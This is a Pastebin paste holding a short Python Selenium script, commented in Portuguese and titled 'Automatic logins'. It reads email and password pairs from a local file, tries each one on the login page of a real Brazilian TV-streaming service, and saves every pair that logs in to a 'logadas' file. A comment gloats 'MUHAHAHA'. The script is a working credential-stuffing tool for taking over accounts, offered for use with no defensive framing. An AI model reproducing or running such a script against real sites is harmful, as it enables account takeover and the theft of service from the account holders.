Advertisement
Guest User

Automatic logins

a guest
May 25th, 2018
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | None | 0 0
  1. from selenium import webdriver
  2. from selenium.webdriver.common.keys import Keys
  3. import time
  4. arquivo = open('C:\\Users\\mathe\\Documents\\teste_emails.txt','r') # open abre o arquivo, r = read
  5. texto = arquivo.readlines() # isso vira uma lista cada linha é um elemento
  6.  
  7. browser = webdriver.Firefox(executable_path="C:\geckodriver.exe") # colocar web drive no caminho certo, e abrir um path em variaveis de ambiente.
  8. for linha in texto: # percorre as listas (texto)
  9.     try:
  10.         partes = linha.split(';')
  11.         email = str(partes[0]);senha = str(partes[1])
  12.         browser.get("https://www1.skyonline.com.br/integracao/login/?chave=e82947ce-9d0d-4eb0-af87-ae1fe493b602&ss=ad2f6c521319e1f38ddfb3e89aecdbc4")  # pagina de login
  13.         time.sleep(1) # espera o javascript carregar
  14.         username = browser.find_element_by_id("login") # procura um elemento id com tag especifica no html
  15.         password = browser.find_element_by_id("senha")
  16.         username.send_keys(email) # envio o email da lista pra esse método.
  17.         password.send_keys(senha) # envio a senha da lista pra esse método.
  18.         login_attempt = browser.find_element_by_id("btnSubmit") # procura o botão de login. Tbem poderia ser escrito assim login_attempt = browser.find_element_by_id("btnSubmit").click()
  19.         login_attempt.click() # clica no botão
  20.         time.sleep(2)# Esse tempo é necessário pois se logar temos q esperar carregar a pagina de login.
  21.     except:
  22.          print("Deu pau no split")
  23.    
  24.     # TRATAMENTOS DE ERROS.
  25.     try:
  26.         if (bool(browser.find_element_by_xpath("/html/body/div/div/div[1]/img"))): #se logar , e se logar com erro :D MUHAHAHA
  27.             with open("C:\\Users\\mathe\\Documents\\logadas.txt", "a") as arq:
  28.                 arq.write(email+"|"+senha+"\n") # salva arquivo em txt contendo o email e senha logado.
  29.     except: #se o if n achar o elemento vai retornar um erro e quebrar o programa, por isso o try e except.
  30.         print("Não logou")
  31. arq.close()# fecha o arquivo txt
  32. arquivo.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement